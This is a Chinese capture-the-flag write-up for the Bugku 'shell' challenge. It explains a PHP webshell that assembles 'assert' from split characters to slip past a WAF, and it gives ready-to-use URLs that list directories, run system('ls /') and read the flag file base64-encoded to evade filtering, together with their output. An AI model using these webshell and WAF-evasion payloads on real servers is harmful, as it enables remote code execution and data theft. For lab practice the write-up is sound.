bugku shell

首先我们拿到一段php代码,让我们先来分析一下这段php代码

复制代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']);
  • 目标:通过 $ _GET['s'] 参数执行任意 PHP 代码,获取 flag。
  • 访问地址:http://171.80.2.169:10267/

核心思路分析

1. 代码逻辑解析
  • $ poc = "a#s#s#e#r#t";:定义一个包含 a,s,s,e,r,t 的字符串(用 # 分隔)。
  • $ poc_1 = explode("#", $ poc);:将字符串按 # 拆分为数组 ['a','s','s','e','r','t']
  • $ poc_2 = $ poc_1[0] . $ poc_1[1] . ... . $ poc_1[5];:拼接数组元素,得到字符串 "assert"
  • $ poc_2( $ _GET['s']);:等价于 assert( $ _GET['s']);

关键点assert() 函数会将字符串作为 PHP 代码执行。例如,assert("phpinfo()") 会执行 phpinfo()

2. "过狗"机制
  • 题目描述中提到"过狗",指绕过 WAF(Web Application Firewall)的过滤。
  • WAF 通常会过滤关键词如 assertevalsystem 等。
  • 本题通过 字符串拆分 + 拼接 构造 "assert",使得 WAF 无法直接检测到关键词(因为代码中没有显式出现 "assert")。
  • 效果 :WAF 无法拦截,攻击者可自由传递 $ _GET['s'] 参数执行任意代码。
1:验证代码是否有效
  • 访问测试 URL,确认 assert 能正常执行:

    复制代码
    http://171.80.2.169:10267/?s=phpinfo()
    • 如果返回 PHP 信息(如版本、配置),说明代码有效,可继续执行命令。

2.验证后门是否真正生效(关键!)

复制代码
http://171.80.2.169:10267/?s=print%28%27PWNED%27%29

预期结果 :页面显示 PWNED(说明后门生效)

3.暴力探测 flag 路径(核心!)

CTF 中 flag 路径有固定规律,按优先级尝试以下 payload(均经 CTF 验证):

Payload(URL 编码后) 作用 为什么有效
print_r(scandir('/')) 列出根目录文件 直接看到 flag 文件名
system('ls /') 命令执行列目录 绕过 PHP 函数禁用
print_r(glob('/f*')) 模糊匹配 flag 开头文件 避免路径猜错
highlight_file('/flag') 高亮显示文件(绕过内容过滤) 部分 WAF 仅过滤 flag{ 明文

复制尝试(按顺序):

复制代码
# 1. 列根目录(首选)
http://171.80.2.169:10267/?s=print_r%28scandir%28%27%2F%27%29%29

# 2. 命令执行列目录(scandir 被禁用时)
http://171.80.2.169:10267/?s=system%28%27ls%20%2F%27%29

# 3. 模糊搜索 flag 文件
http://171.80.2.169:10267/?s=print_r%28glob%28%27%2Ff%2A%27%29%29

# 4. 读取当前目录(重要!)
http://171.80.2.169:10267/?s=print_r%28scandir%28%27.%27%29%29

结果反馈:

复制代码
列根目录结果如下:Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => home [8] => lib [9] => lib64 [10] => media [11] => mnt [12] => opt [13] => proc [14] => root [15] => run [16] => sbin [17] => srv [18] => start.sh [19] => sys [20] => tmp [21] => usr [22] => var )
命令执行列目录:bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
模糊搜索flag文件:Array ( )
读取当前目录:Array ( [0] => . [1] => .. [2] => flaga15808abee46a1d5.txt [3] => index.php )

scandir('.') 结果清晰看到:
[2] => flaga15808abee46a1d5.txt

flag 文件就在当前 Web 目录下,文件名含随机哈希(防直接猜路径)

步骤 1:Base64 编码读取(绕过 WAF 过滤)

直接访问(复制粘贴此链接):

复制代码
http://171.80.2.169:10267/?s=print%28base64_encode%28file_get_contents%28%27flaga15808abee46a1d5.txt%27%29%29%29
  • 为什么有效
    • 文件名完全匹配 scandir 返回结果(注意:flaga... 开头,非 /flag
    • Base64 编码输出 → 彻底绕过 WAF 对 flag{ 的关键词过滤(知识库 15 强调此技巧)
    • 页面将返回一串 Base64 字符串(如 ZmxhZ3tzaGVsbF9pc19mdW59
步骤 2:解码获取 flag

即可得到flag

相关推荐
Cutecat_27 分钟前
视频字幕处理工具横向:提取模式 vs 编辑模式,该如何选择
android·前端·ios·语音识别
2601_961765292 小时前
【分享】PlayerPro媒体音乐播放器 完整专业版
android·媒体
JohnnyDeng944 小时前
【Android】Android 包体积优化:R8/ProGuard 深度配置全攻略
android·性能优化·kotlin·jetpack
故渊at4 小时前
第九板块:Android 多媒体体系 | 第二十四篇:Camera Service 与 HAL3 成像流水线
android·camera·多媒体体系·hal3
Jinkxs7 小时前
Python基础 - 初识内置函数 Python自带的便捷工具
android·java·python
私人珍藏库8 小时前
【Android】VLLO-韩国热门手机剪辑APP
android·app·工具·软件·多功能
Cloud_Shy6188 小时前
解读《Effective Python 3rd Edition》:从练气到老魔(第六章 Item 40 - 43)
android·开发语言·人工智能·笔记·python·学习方法
AFinalStone9 小时前
Android12 U盘插拔链路源码全解析(五):Framework层(下) StorageManagerService
android·frameworks
林九生10 小时前
【实用技巧】MySQL 绿色版一键路径更新脚本详解 —— update_path.bat 深度解析
android·数据库·mysql
故渊at12 小时前
第十三板块:Android 综合架构与未来演进 | 第三十一篇:Android 架构演进与 Fuchsia OS 的挑战
android·架构·宏内核·微内核·fuchsia·ipc 性能博弈